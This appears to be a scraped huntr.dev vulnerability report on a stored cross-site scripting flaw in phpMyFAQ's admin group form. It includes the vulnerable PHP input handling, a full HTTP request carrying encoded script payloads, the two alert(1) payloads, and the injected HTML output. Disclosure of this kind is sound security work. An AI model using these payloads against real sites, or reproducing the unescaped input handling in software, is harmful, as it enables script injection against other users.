Lucene search

K
huntrHatlesswizard529F2361-EB2E-476F-B7EF-4E561A712E28
HistoryMar 08, 2023 - 9:15 p.m.

XSS @ group

2023-03-0821:15:14
hatlesswizard
www.huntr.dev
7
cross-site scripting
input neutralization
web security
code injection

EPSS

0.001

Percentile

21.4%

Description

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Proof of Concept

Code:

if ($groupAction == 'addsave' && $user->perm->hasPermission($user->getUserId(), 'addgroup')) {
    $user = new User($faqConfig);
    $message = '';
    $messages = [];
    $groupName = Filter::filterInput(INPUT_POST, 'group_name', FILTER_UNSAFE_RAW, '');
    $groupDescription = Filter::filterInput(INPUT_POST, 'group_description', FILTER_UNSAFE_RAW, '');
    $groupAutoJoin = Filter::filterInput(INPUT_POST, 'group_auto_join', FILTER_UNSAFE_RAW, '');
    $csrfOkay = true;
    $csrfToken = Filter::filterInput(INPUT_POST, 'csrf', FILTER_UNSAFE_RAW);

Request:

POST /admin/?action=group&group_action=addsave HTTP/2
Host: roy.demo.phpmyfaq.de
Cookie: PHPSESSID=EDITthis; cookieconsent_status=dismiss; pmf_sid=34
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://roy.demo.phpmyfaq.de/
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Te: trailers

csrf=EDITthis&group_name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&group_description=%3C%2Ftextarea%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

Payload 1:

</textarea><script>alert(1)</script>

Payload 2:

<script>alert(1)</script>

Result:

     <div>
        <h5>
          <i></i> Group details        </h5>
        &lt;form action="?action=group&group_action=update_data" method="post"&gt;
          &lt;input id="update_group_id" type="hidden" name="group_id" value="0"&gt;
          <div>
            <div>
              &lt;label class="col-lg-3 col-form-label" for="update_group_name"&gt;
                  Name              &lt;/label&gt;
              <div>
                &lt;input id="update_group_name" type="text" name="name" class="form-control"
                       tabindex="1" value="&lt;script&gt;alert(1)&lt;/script&gt;"&gt;
              </div>
            </div>
            <div>
              &lt;label class="col-lg-3 col-form-label" for="update_group_description"&gt;
                  Description              &lt;/label&gt;
              <div>
                &lt;textarea id="update_group_description" name="description" class="form-control"
                          rows="3"
                          tabindex="2"&gt;&lt;/textarea&gt;&lt;script&gt;alert(1)&lt;/script&gt;&lt;/textarea&gt;
              </div>
            </div>

EPSS

0.001

Percentile

21.4%

Related for 529F2361-EB2E-476F-B7EF-4E561A712E28